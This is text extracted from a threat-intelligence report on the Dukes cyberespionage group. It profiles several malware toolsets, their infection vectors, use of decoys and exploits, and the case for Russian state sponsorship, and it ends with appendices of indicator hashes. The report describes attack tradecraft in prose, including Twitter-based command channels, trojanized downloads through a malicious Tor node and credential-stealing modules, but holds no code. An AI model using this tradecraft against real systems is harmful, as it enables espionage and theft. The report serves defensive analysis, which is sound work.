0x29A Micro Backdoor published 27 February 2013 http:// kasperskycontenthub.com/wp-content/ uploads/sites/43/vlpdfs/themysteryofthepdf0- dayassemblermicrobackdoor.pdf 2. CrySyS Blog Miniduke published 27 February 2013 http://blog.crysys.hu/2013/02/miniduke/ 3. Marius Tivadar, Br Balzs, Cristian Istrate BitDefender A Closer Look at MiniDuke published April 2013 http://labs.bitdefender. com/wp-content/uploads/downloads/2013/04/ MiniDuke_Paper_Final.pdf 4. CIRCL - Computer Incident Response Center Luxembourg Analysis Report (TLP:WHITE) Analysis of a stage 3 Miniduke sample published 30 May 2013 https://www.circl.lu/files/tr-14/ circl-analysisreport-miniduke-stage3-public.pdf 5. ESET WeLiveSecurity blog Miniduke still duking it out published 20 May 2014 http://www. welivesecurity.com/2014/05/20/miniduke-still- duking/ MINIDUKE http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ 20 THE DUKES Over 7 years of Russian cyberespionage First known activity: January 2010 Most recent known activity: Spring 2015 Other names: CozyBear, CozyCar, Cozer, EuroAPT CC communication methods: HTTP (S), Twitter (backup) Known toolset components: Dropper Modular backdoor Multiple persistence components Information gathering module Screenshot module Password stealing module Password hash stealing module CozyDuke is not simply a malware toolset rather, it is a modular malware platform formed around a core backdoor component. This component can be instructed by the CC server to download and execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array of functionality. Known CozyDuke modules include: Command execution module for executing arbitrary Windows Command Prompt commands Password stealer module NT LAN Manager (NTLM) hash stealer module System information gathering module Screenshot module In addition to modules, CozyDuke can also be instructed to download and execute other, independent executables. In some observed cases, these executables were self-extracting archive files containing common hacking tools, such as PSExec and Mimikatz, combined with script files that execute these tools. In other cases, CozyDuke has been observed downloading and executing tools from other toolsets used by the Dukes such as OnionDuke, SeaDuke, and HammerDuke. EXAMPLES OF COZYDUKE PDB STRINGS E:\Visual Studio 2010\Projects\Agent_NextGen\Agent2011v3\Agent2011\Agent\tasks\bin\ GetPasswords\exe\GetPasswords.pdb D:\Projects\Agent2011\Agent2011\Agent\tasks\bin\systeminfo\exe\systeminfo.pdb \\192.168.56.101\true\soft\Agent\tasks\Screenshots\agent_screeshots\Release\agent_ screeshots.pdb Further reading 1. Artturi Lehtio F-Secure Labs CozyDuke published 22 April 2015 https://www.f-secure. com/documents/996508/ 1030745/CozyDuke (PDF) 2. Kurt Baumgartner, Costin Raiu Securelist The CozyDuke APT 21 April 2015 https://securelist. com/blog/research/69731/the-cozyduke-apt/ COZYDUKE https://www.f-secure.com/documents/996508/ 1030745/CozyDuke https://www.f-secure.com/documents/996508/ 1030745/CozyDuke https://securelist.com/blog/research/69731/the-cozyduke-apt/ https://securelist.com/blog/research/69731/the-cozyduke-apt/ 21 Over 7 years of Russian cyberespionage THE DUKES First known activity: February 2013 Most recent known activity: Spring 2015 Other names: N/A CC communication methods: HTTP (S), Twitter (backup) Known toolset components: Dropper Loader Multiple modular core components Information stealer Distributed Denial of Service (DDoS) module Password stealing module Information gathering module Social network spamming module The OnionDuke toolset includes at least a dropper, a loader, an information stealer trojan and multiple modular variants with associated modules. OnionDuke first caught our attention because it was being spread via a malicious Tor exit node. The Tor node would intercept any unencrypted executable files being downloaded and modify those executables by adding a malicious wrapper contained an embedded OnionDuke. Once the victim finished downloading the file and executed it, the wrapper would infect the victims computer with OnionDuke before executing the original legitimate executable. The same wrapper has also been used to wrap legitimate executable files, which were then made available for users to download from torrent sites. Again, if a victim downloaded a torrent containing a wrapped executable, they would get infected with OnionDuke. Finally, we have also observed victims being infected with OnionDuke after they were already infected with CozyDuke. In these cases, CozyDuke was instructed by its CC server to download and execute OnionDuke toolset. Further reading 1. Artturi Lehtio F-Secure Weblog OnionDuke: APT Attacks Via the Tor Network published 14 November 2014 https://www.f-secure.com/ weblog/archives/00002764.html ONIONDUKE https://www.f-secure.com/weblog/archives/00002764.html https://www.f-secure.com/weblog/archives/00002764.html 22 THE DUKES Over 7 years of Russian cyberespionage First known activity: October 2014 Most recent known activity: Spring 2015 Other names: SeaDaddy, SeaDask CC communication methods: HTTP (S) Known toolset components: Backdoor SeaDuke is a simple backdoor that focuses on executing commands retrieved from its CC server, such as uploading and downloading files, executing system commands and evaluating additional Python code. SeaDuke is made interesting by the fact that it is written in Python and designed to be cross-platform so that it works on both Windows and Linux. The only known infection vector for SeaDuke is via an existing CozyDuke infection, wherein CozyDuke downloads and executes the SeaDuke toolset. Like HammerDuke, SeaDuke appears to be used by the Dukes group primarily as a secondary backdoor left on CozyDuke victims after that toolset has completed the initial infection and stolen any readily available information from them. Further reading 1. Symantec Security Response Forkmeiamfamous: Seaduke, latest weapon in the Duke armory published 13 July 2015 http://www.symantec.com/connect/blogs/ forkmeiamfamous-seaduke-latest-weapon- duke-armory 2. Josh Grunzweig Palo Alto Networks Unit 42 Technical Analysis: Seaduke published 14 July 2015 http://researchcenter.paloaltonetworks. com/2015/07/unit-42-technical-analysis- seaduke/ 3. Artturi Lehtio F-Secure Weblog Duke APT groups latest tools: cloud services and Linux support published 22 July 2015 https://www.f- secure.com/weblog/archives/00002822.html EXAMPLE OF CROSS-PLATFORM SUPPORT FOUND IN SEADUKES SOURCE CODE SEADUKE http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ https://www.f-secure.com/weblog/archives/00002822.htm https://www.f-secure.com/weblog/archives/00002822.htm 23 Over 7 years of Russian cyberespionage THE DUKES First known activity: January 2015 Most recent known activity: Summer 2015 Other names: HAMMERTOSS, Netduke CC communication methods: HTTP (S), Twitter Known toolset components: Backdoor HammerDuke is a simple backdoor that is apparently designed for similar use cases as SeaDuke. Specifically, the only known infection vector for HammerDuke is to be downloaded and executed by CozyDuke onto a victim that has already been compromised by that toolset. This, together with HammerDukes simplistic backdoor functionality, suggests that it is primarily used by the Dukes group as a secondary backdoor left on CozyDuke victims after CozyDuke performed the initial infection and stole any readily available information from them. HammerDuke is however interesting because it is written in .NET, and even more so because of its occasional use of Twitter as a CC communication channel. Some HammerDuke variants only contain a hardcoded CC server address from which they will retrieve commands, but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date. If the account exists, HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute. HammerDukes use of Twitter and crafted image files is reminiscent of other Duke toolsets. Both OnionDuke and MiniDuke also use date-based algorithms to generate Twitter account names and then searched for any tweets from those accounts that linked to image files. In contrast however, for OnionDuke and MiniDuke the linked image files contain embedded malware to be downloaded and executed, rather than instructions. Similarly, GeminiDuke may also download image files, but these would contain embedded additional configuration information for the toolset itself. Unlike HammerDuke however, the URLs for the images downloaded by GeminiDuke are hardcoded in its initial configuration, rather than retrieved from Twitter. Further reading 1. FireEye HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group published July 2015 https://www2.fireeye.com/rs/848-DID-242/ images/rpt-apt29-hammertoss.pdf APT29 is the name used by FireEye to identify the cyberespionagegroup we refer to as the Dukes. HAMMERDUKE https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf 24 THE DUKES Over 7 years of Russian cyberespionage First known activity: June 2015 Most recent known activity: Summer 2015 Other names: MiniDionis, CloudLook CC communication methods: HTTP (S), Microsoft OneDrive Known toolset components: Downloader Loader Two backdoor variants CloudDuke is a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured CC server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators. Further reading 1. Artturi Lehtio F-Secure Weblog Duke APT groups latest tools: cloud services and Linux support published 22 July 2015 https://www.f-secure. com/weblog/archives/00002822.html 2. Brandon Levene, Robert Falcone and Richard Wartell Palo Alto Networks Tracking MiniDionis: CozyCars New Ride Is Related to Seaduke published 14 July 2015 http://researchcenter. paloaltonetworks.com/2015/07/tracking- minidionis-cozycars-new-ride-is-related-to- seaduke/ 3. Segey Lozhkin Securelist Minidionis one more APT with a usage of cloud drives published 16 July 2015 https://securelist.com/blog/ research/71443/minidionis-one-more-apt-with- a-usage-of-cloud-drives/ CLOUDDUKE https://www.f-secure.com/weblog/archives/00002822.html https://www.f-secure.com/weblog/archives/00002822.html http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ Over 7 years of Russian cyberespionage THE DUKES 25 INFECTION VECTORS The Dukes primarily use spear-phishing emails when attempting to infect victims with their malware. These spear-phishing emails range from ones purposely designed to look like spam messages used to spread common crimeware and addressed to large numbers of people, to highly targeted emails addressed to only a few recipients (or even just one person) and with content that is highly relevant for the intended recipient(s). In some cases, the Dukes appear to have used previously compromised victims to send new spear-phishing emails to other targets. The spear-phishing emails used by the Dukes may contain either specially-crafted malicious attachments or links to URLs hosting the malware. When malicious attachments are used, they may either be designed to exploit a vulnerability in a popular software assumed to be installed on the victims machine, such as Microsoft Word or Adobe Reader, or the attachment itself may have its icon and filename obfuscated in such a way that the file does not appear to be an executable. The only instances which we are aware of where the Dukes did not use spear-phishing as the initial infection vector is with certain OnionDuke variants. These were instead spread using either a malicious Tor node that would trojanize legitimate applications on-the-fly with the OnionDuke toolset, or via torrent files containing previously trojanized versions of legitimate applications. Finally, it is worth noting that the Dukes are known to sometimes re-infect a victim of one of their malware tools with another one of their tools. Examples include CozyDuke infecting its victims with SeaDuke, HammerDuke,or OnionDuke and CosmicDuke infecting its victims with PinchDuke,GeminiDuke or MiniDuke. DECOYS The Dukes commonly employ decoys with their infection vectors. These decoys may be image files, document files, Adobe Flash videos or similar that are presented to the victim during the infection process in an attempt to distract them from the malicious activity. The contents of these decoys range from non-targeted material such as videos of television commercials showing monkeys at an office, to highly targeted documents with content directly relevant to the intended recipient such as reports, invitations, or lists of participants to an event. Usually, the contents of the decoys appear to be taken from public sources, either by copying publicly accessible material such as a news report or by simply repurposing a legitimate file that has been openly distributed. In some cases however, highly targeted decoys have been observed using content that does not appear to be publicly available, suggesting that these contents may have been stolen from other victims that had been infected by Duke toolsets. EXPLOITATION OF VULNERABILITIES The Dukes have employed exploits both in their infection vectors as well as in their malware. We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit. In all known cases where exploits were employed, we believe the Dukes did not themselves discover the vulnerabilities or design the original exploits for the exploited zero-day, we believe the Dukes purchased the exploit. In all other cases, we believe the group simply repurposed publicly available exploits or proofs of concept. 26 THE DUKES Over 7 years of Russian cyberespionage ATTRIBUTION AND STATE-SPONSORSHIP The Dukes appear to prioritize the continuation of their operations over stealth. Their 2015 CozyDuke and CloudDuke campaigns take this to the extreme by apparently opting for speed and quantity over stealth and quality. In the most extreme case, the Dukes continued with their July 2015 CloudDuke campaign even after their activity had been outed by multiple security vendors. We therefore believe the Dukes primary mission to be so valuable to their benefactors that its continuation outweighs everything else. This apparent disregard for publicity suggests, in our opinion, that the benefactors of the Dukes is so powerful and so tightly connected to the group that the Dukes are able to operate with no apparent fear of repercussions on getting caught. We believe the only benefactor with the power to offer such comprehensive protection would be the government of the nation from which the group operates. We therefore believe the Dukes to work either within or directly for a government, thus ruling out the possibility of a criminal gang or another third party. This leaves us with the final question: which country? We are unable to conclusively prove responsibility of any specific country for the Dukes. All of the available evidence however does in our opinion suggest that the group operates on behalf of the Russian Federation. Further, we are currently unaware of any evidence disproving this theory. Kaspersky Labs has previously noted the presence of Russian-language artefacts in some of the Duke malware samples [9]. We have also found a Russian-language error message in many PinchDuke samples: 4 This roughly translates as, There is an error in the modules name The length of the data section name must be 4 bytes Additionally, Kaspersky noted that based on the compilation timestamps, the authors of the Duke malware appear to primarily work from Monday to Friday between the times of 6am and 4pm UTC0 [11]. This corresponds to working hours between 9am and 7pm in the UTC3 time zone, also known as Moscow Standard Time, which covers, among others, much of western Russia, including Moscow and St. Petersburg. Attribution is always a difficult question, but attempting to answer it is important in understanding these types of threats and how to defend against them. This paper has already stated that we believe the Dukes to be a Russian state-sponsored cyberespionage operation. To reach this conclusion, we began by analyzing the apparent objectives and motivations of the group. Based on what we currently know about the targets chosen by the Dukes over the past 7 years, they appear to have consistently targeted entities that deal with foreign policy and security policy matters. These targets have included organizations such as ministries of foreign affairs, embassies, senates, parliaments, ministries of defense, defense contractors, and think tanks. In one of their more intriguing cases, the Dukes have appeared to also target entities involved in the trafficking of illegal drugs. Even such targets however appear to be consistent with the overarching theme, given the drug trades relevance to security policy. Based on this, we are confident in our conclusion that the Dukes primary mission is the collection of intelligence to support foreign and security policy decision-making. This naturally leads to the question of state-sponsorship. Based on our establishment of the groups primary mission, we believe the main benefactor (or benefactors) of their work is a government. But are the Dukes a team or a department inside a government agency? An external contractor? A criminal gang selling to the highest bidder? A group of tech-savvy patriots? We dont know. Based on the length of the Dukes activity, our estimate of the amount of resources invested in the operation and the fact that their activity only appears to be increasing, we believe the group to have significant and most critically, stable financial backing. The Dukes have consistently operated large-scale campaigns against high-profile targets while concurrently engaging in smaller, more targeted campaigns with apparent coordination and no evidence of unintentional overlap or operational clashes. We therefore believe the Dukes to be a single, large, well-coordinated organization with clear separation of responsibilities and targets. Map of timezones in Russia Eric Muller [23] Pink: MSK (UTC 3) Orange: UTC 4 Over 7 years of Russian cyberespionage THE DUKES 27 The Kaspersky Labs analysis of the Duke malware authors working times is supported by our own analysis, as well as that performed by FireEye [22]. This assertion of time zone is also supported by timestamps found in many GeminiDuke samples, which similarly suggest the group work in the Moscow Standard Time timezone, as further detailed in the section on the technical analysis of GeminiDuke (page 17). Finally, the known targets of the Dukes - Eastern European foreign ministries, western think tanks and governmental organizations, even Russian-speaking drug dealers - conform to publicly-known Russian foreign policy and security policy interests. Even though the Dukes appear to have targeted governments all over the world, we are unaware of them ever targeting the Russian government. While absence of evidence is not evidence of absence, it is an interesting detail to note. Based on the presented evidence and analysis, we believe, with a high level of confidence, that the Duke toolsets are the product of a single, large, well-resourced organization (which we identify as the Dukes) that provides the Russian government with intelligence on foreign and security policy matters in exchange for support and protection. 28 THE DUKES Over 7 years of Russian cyberespionage BIBLIOGRAPHY 1. The White House Remarks By President Barack Obama In Prague As Delivered published 5 April 2009 [Online]. Available: https://www.whitehouse.gov/the-press-office/remarks-president-barack-obama-prague-delivered 2. Wikipedia KavKaz Center [Online]. Available: https://en.wikipedia.org/wiki/Kavkaz_Center 3.
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Available: http://efele.net/maps/tz/russia/ https://www.whitehouse.gov/the-press-office/remarks-president-barack-obama-prague-delivered https://en.wikipedia.org/wiki/Kavkaz_Center http://news.bbc.co.uk/2/hi/europe/8004399.stm http://news.bbc.co.uk/2/hi/europe/8004399.stm http://seclists.org/fulldisclosure/2010/Jan/341 https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://www.fireeye.com/blog/threat-research/2013/02/in-turn-its-pdf-time.html https://www.fireeye.com/blog/threat-research/2013/02/in-turn-its-pdf-time.html http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://www.crysys.hu/miniduke/miniduke_indicators_public.pdf https://www.f-secure.com/weblog/archives/00002688.html http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms-domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms-domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ http://www.boost.org/users/history/version_1_54_0.html http://www.boost.org/users/history/version_1_54_0.html https://www.f-secure.com/weblog/archives/00002764.html https://www.f-secure.com/documents/996508/ 1030745/CozyDuke https://www.f-secure.com/documents/996508/ 1030745/CozyDuke http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ http://malware.prevenity.com/2015/04/malware-w-5-rocznice-katastrofy-samolotu.html http://malware.prevenity.com/2015/08/wykradanie-danych-z-instytucji.html https://en.wikipedia.org/wiki/Moscow_Time https://www.exploit-db.com/exploits/15609/ https://www.exploit-db.com/exploits/15609/ https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf http://efele.net/maps/tz/russia/ Data listings APPENDIX I 29 APPENDIX I: DATA LISTINGS PinchDuke Campaign identifiers alkavkaz.com20081105 cihaderi.net20081112 20090111 diploturk_20090305_faruk 20090310I mofa.go.ug_20090317 plcz_20090417 20090421_NN1 20090427_n_8 20090513_Cr natoinfo_ge 20090608_G mod_ge_2009_07_03 20090909_Bel mofa-go-ug-2009-09-09 20091008_Af nat_20092311 turtsia_20091128 mfagovtr_20091204 modge_20100126 GEN20100215 par_ge_20100225 pr_ge_20100225 tika_20100326 harpa_20100329 sanat_20100412 mfakg_20100413 leskz_20100414 leskg_20100422 az_emb_uz_20100518 sat_20100524 emb_azerb_uz_20100609 sat_2010_07_26 kaz_2010_07_30 Malware SHA1 hashes 07b4e44b6b3e1c3904ded7d6c9dcf7fa609467ef 0cf68d706c38ab112e0b667498c24626aec730f6 155004c1cc831a7f39caf2bec04f1841b61af802 17df96e423320ddfb7664413bf562a6b1aaef9d4 1c124e1523fcbef25c4f3074b1f8088bcad2230f 285ac0fb341e57c87964282f621b3d1f018ab7ea 2f156a9f861cda356c4ddf332d71937ac9962c68 333f5acc35ea0206f7d1deadcb94ca6ec9564d02 34af1909ec77d2c3878724234b9b1e3141c91409 383fc3c218b9fb0d4224d69af66caf09869b4c73 45ee9aa9f8ef3a9cc0b4b250766e7a9368a30934 52164782fc9f8a2a6c4be2b9cd000e4a60a860ed 7371eecafbaeefd0dc5f4dd5737f745586133f59 797b3101b9352be812b8d411179ae765e14065a6 a10f2dc5dbdbf1a11ebe4c3e59a4c0e5d14bcc8a a3dfb5643c824ae0c3ba2b7f3efb266bfbf46b02 ad2cac618ab9d9d4a16a2db32410607bbf98ce8f bf48d8126e84185e7825b69951293271031cbad4 c1e229219e84203ba9e26f2917bd268656ff4716 c59114c79e3d3ddd77d6919b88bc99d40205e645 c8ae844baea44ec1db172ae9b257dbac04dcbbe7 d5905327f213a69f314e2503c68ef5b51c2d381e e7720ab728cb18ea329c7dd7c9b7408e266c986b fdc65f38f458ceddf5a5e3f4b44df7337a1fb415 fdfd9abbaafe0bee747c0f1d7963d903174359df Exploit file SHA1 hashes 50f8ea7eb685656c02a83420b3910d14ac588c8b 9fae684a130c052ad2b55ebaf7f6e513c0e62abe 30 APPENDIX I Data listings GeminiDuke Malware SHA1 hashes 3ed561786ca07c8e9862f4f682c1828a039d6dd4 6b0b8ad038c7ae2efbad066b8ba22de859b81f98 a3653091334892cf97a55715c7555c8881230bc4 b14b9241197c667f00f86d096d71c47d6fa9aca6 c011552d61ac5a87d95e43b90f2bf13077856def CosmicDuke Malware SHA1 hashes 01e5080b832c6e4fcb7b9d06caffe03dab8d95da 02f55947402689ec755356ab6b0345a592446da7 03c5690728b7dffb2f4ab947fe390264751428aa 0653a8f06b140f4fac44acb3be723d7bb2602558 0bc8485ce6c24bb888e2329d479c9b7303bb98b4 0c8db6542172de98fa16c9bacfef9ed4099fd872 0d8f41fe09dbd75ab953f9e64a6cdbbbc198bf2b 0e5f55676e01d8e41d77cdc43489da8381b68086 0ff7ce34841c03c876b141c1f46d0ff2519889cc 11b5cfb37efb45d2c721cbf20cab7c1f5c1aa44b 151362502d569b16453e84a2f5d277d8e4e878c2 174373ab44cf6e7355f9dbb8469453519cb61a44 18d983ba09da695ce704ab8093296366b543996a 1a31245e943b131d81375d70b489d8e4bf3d6dce 1ce049522c4df595a1c4c9e9ca24be72dc5c6b28 1df78a1dc0aa3382fcc6fac172b70aafd0ed8d3d 1e5c6d3f64295cb36d364f7fa183177a3f5e6b7e 2345cd5c112e55ba631dac539c8efab850c536b2 2b1e7d54723cf9ee2fd133b8f17fa99470d7a51a 322e042cf1cb43a8072c4a4cbf6e37004a88d6f7 332aac7bdb0f697fd96e35c31c54d15e548061f4 365f61c7886ca82bfdf8ee19ce0f92c4f7d0901e 3980f0e3fe80b2e7378325ab64ecbe725ae5eca9 3f4a5bf72a15b7a8638655b24eb3359e229b9aea 42dbfbedd813e6dbea1398323f085a88fa014293 4a9875f646c5410f8317191ef2a91f934ce76f57 4aaac99607013b21863728b9453e4ffee67b902e 4e3c9d7eb8302739e6931a3b5b605efe8f211e51 4fbc518df60df395ea27224cb85c4da2ff327e98 4fd46c30fb1b6f5431c12a38430d684ed1ff5a75 524aaf596dc12b1bb479cd69c620914fd4c3f9c9 541816260c71535cfebc743b9e2770a3a601acdf 558f1d400be521f8286b6a51f56d362d64278132 55f83ff166ab8978d6ce38e80fde858cf29e660b 580eca9e36dcd1a2deb9075bcae90afee46aace2 5a199a75411047903b7ba7851bf705ec545f6da9 5c5ec0b5112a74a95edc23ef093792eb3698320e 63aedcd38fe947404dda4fbaddb1da539d632417 6483ed51bd244c7b2cf97db62602b19c27fa3059 658db78c0ce62e08e86b51988a222b5fb5fbb913 6a43ada6a3741892b56b0ef38cdf48df1ace236d 6b7a4ccd5a411c03e3f1e86f86b273965991eb85 6db1151eeb4339fc72d6d094e2d6c2572de89470 7631f1db92e61504596790057ce674ee90570755 764add69922342b8c4200d64652fbee1376adf1c 7803f160af428bcfb4b9ea2aba07886f232cde4e 78d1c1e11ebae22849bccb3eb154ec986d992364 7ad1bef0ba61dbed98d76d4207676d08c893fc13 807c3db7385972a78b6d217a379dab67e68a3cf5 88b7ead7c0bf8b3d8a54b4a9c8871f44d1577ce7 8a2227cafa5713297313844344d6b6d9e0885093 8aa9f5d426428ec360229f4cb9f722388f0e535c 8ab7f806fa18dd9a9c2dc43db0ad3ee79060b6e8 8f4138e9588ef329b5cf5bc945dee4ad9fec1dff 9090de286ce9126e8e9c1c3a175a70ab4656ca09 91fd13a6b44e99f7235697ab5fe520d540279741 926046f0c727358d1a6fbdd6ff3e28bc67d5e2f6 9700c8a41a929449cfba6567a648e9c5e4a14e70 97c62e04b0ce401bd338224cdd58f5943f47c8de a2ed0eaaeadaa90d25f8b1da23033593bb76598e a421e0758f1007527fec4d72fa2668da340554c9 a74eceea45207a6b46f461d436b73314b2065756 a7819c06746ae8d1e5d5111b1ca711db0c8d923e a81b58b2171c6a728039dc493faaf2cab7d146a5 b2a951c5b2613abdb9174678f43a579592b0abc9 b54b3c67f1827dab4cc2b3de94ff0af4e5db3d4c b579845c223331fea9dfd674517fa4633082970e bbe24aa5e554002f8fd092fc5af7747931307a15 c2b5aff3435a7241637f288fedef722541c4dad8 c637a9c3fb08879e0f54230bd8dca81deb6e1bcf cbca642acdb9f6df1b3efef0af8e675e32bd71d1 ccb29875222527af4e58b9dd8994c3c7ef617fd8 cd7116fc6a5fa170690590e161c7589d502bd6a7 d303a6ddd63ce993a8432f4daab5132732748843 e60d36efd6b307bef4f18e31e7932a711106cd44 e841ca216ce4ee9e967ffff9b059d31ccbf126bd ecd2feb0afd5614d7575598c63d9b0146a67ecaa ed14da9b9075bd3281967033c90886fd7d4f14e5 ed328e83cda3cdf75ff68372d69bcbacfe2c9c5e f621ec1b363e13dd60474fcfab374b8570ede4de fbf290f6adad79ae9628ec6d5703e5ffb86cf8f1 fecdba1d903a51499a3953b4df1d850fbd5438bd Exploit file SHA1 hashes 1e770f2a17664e7d7687c53860b1c0dc0da7157e 353540c6619f2bba2351babad736599811d3392e 412d488e88deef81225d15959f48479fc8d387b3 5295b09592d5a651ca3f748f0e6401bd48fe7bda 65681390d203871e9c21c68075dbf38944e782e8 74bc93107b1bbae2d98fca6d819c2f0bbe8c9f8a 8949c1d82dda5c2ead0a73b532c4b2e1fbb58a0e c671786abd87d214a28d136b6bafd4e33ee66951 f1f1ace3906080cef52ca4948185b665d1d7b13e Data listings APPENDIX I 31 MiniDuke Malware SHA1 hashes 00852745cb40730dc333124549a768b471dff4bc 03661a5e2352a797233c23883b25bb652f03f205 045867051a6052d1d910abfcb24a7674bcc046ca 0d78d1690d2db2ee322ca11b82d79c758a901ebc 0e263d80c46d5a538115f71e077a6175168abc5c 103c37f6276059a5ff47117b7f638013ccffe407 118114446847ead7a2fe87ecb4943fdbdd2bbd1e 15c75472f160f082f6905d57a98de94c026e2c56 1ba5bcd62abcbff517a4adb2609f721dd7f609df 1e6b9414fce4277207aab2aa12e4f0842a23f9c1 223c7eb7b9dde08ee028bba6552409ee144db54a 28a43eac3be1b96c68a1e7463ae91367434a2ac4 296fd4c5b4bf8ea288f45b4801512d7dec7c497b 2a13ae3806de8e2c7adba6465c4b2a7bb347f0f5 2ceae0f5f3efe366ebded0a413e5ea264fbf2a33 2d74a4efaecd0d23afcad02118e00c08e17996ed 30b377e7dc2418607d8cf5d01ae1f925eab2f037 31ab6830f4e39c2c520ae55d4c4bffe0b347c947 36b969c1b3c46953077e4aabb75be8cc6aa6a327 416d1035168b99cc8ba7227d4c7c3c6bc1ce169a 43fa0d5a30b4cd72bb7e156c00c1611bb4f4bd0a 493d0660c9cf738be08209bfd56351d4cf075877 4b4841ca3f05879ca0dab0659b07fc93a780f9f1 4ec769c15a9e318d41fd4a1997ec13c029976fc2 53140342b8fe2dd7661fce0d0e88d909f55099db 5acaea49540635670036dc626503431b5a783b56 5b2c4da743798bde4158848a8a44094703e842cb 634a1649995309b9c7d163af627f7e39f42d5968 683104d28bd5c52c53d2e6c710a7bd19676c28b8 694fa03160d50865dce0c35227dc97ffa1acfa48 73366c1eb26b92886531586728be4975d56f7ca5 827de388e0feabd92fe7bd433138aa35142bd01a 909d369c42125e84e0650f7e1183abe740486f58 9796d22994ff4b4e838079d2e5613e7ac425dd1d a32817e9ff07bc69974221d9b7a9b980fa80b677 a4e39298866b72e5399d5177f717c46861d8d3df a6c18fcbe6b25c370e1305d523b5de662172875b a9e529c7b04a99019dd31c3c0d7f576e1bbd0970 ad9734b05973a0a0f1d34a32cd1936e66898c034 b27f6174173e71dc154413a525baddf3d6dea1fd b8b116d11909a05428b7cb6dcce06113f4cc9e58 c17ad20e3790ba674e3fe6f01b9c10270bf0f0e4 c39d0b12bb1c25cf46a5ae6b197a59f8ea90caa0 c6d3dac500de2f46e56611c13c589e037e4ca5e0 cb3a83fc24c7b6b0b9d438fbf053276cceaacd2e cc3df7de75db8be4a0a30ede21f226122d2dfe87 cd50170a70b9cc767aa4b21a150c136cb25fbd44 cdcfac3e9d60aae54586b30fa5b99f180839deed d22d80da6f042c4da3392a69c713ee4d64be8bc8 d81b0705d26390eb82188c03644786dd6f1a2a9e de8e9def2553f4d211cc0b34a3972d9814f156aa e4add0b118113b2627143c7ef1d5b1327de395f1 e95e2c166be39a4d9cd671531b376b1a8ceb4a55 edf74413a6e2763147184b5e1b8732537a854365 efcb9be7bf162980187237bcb50f4da2d55430c2 f62600984c5086f2da3d70bc1f5042cf464f928d 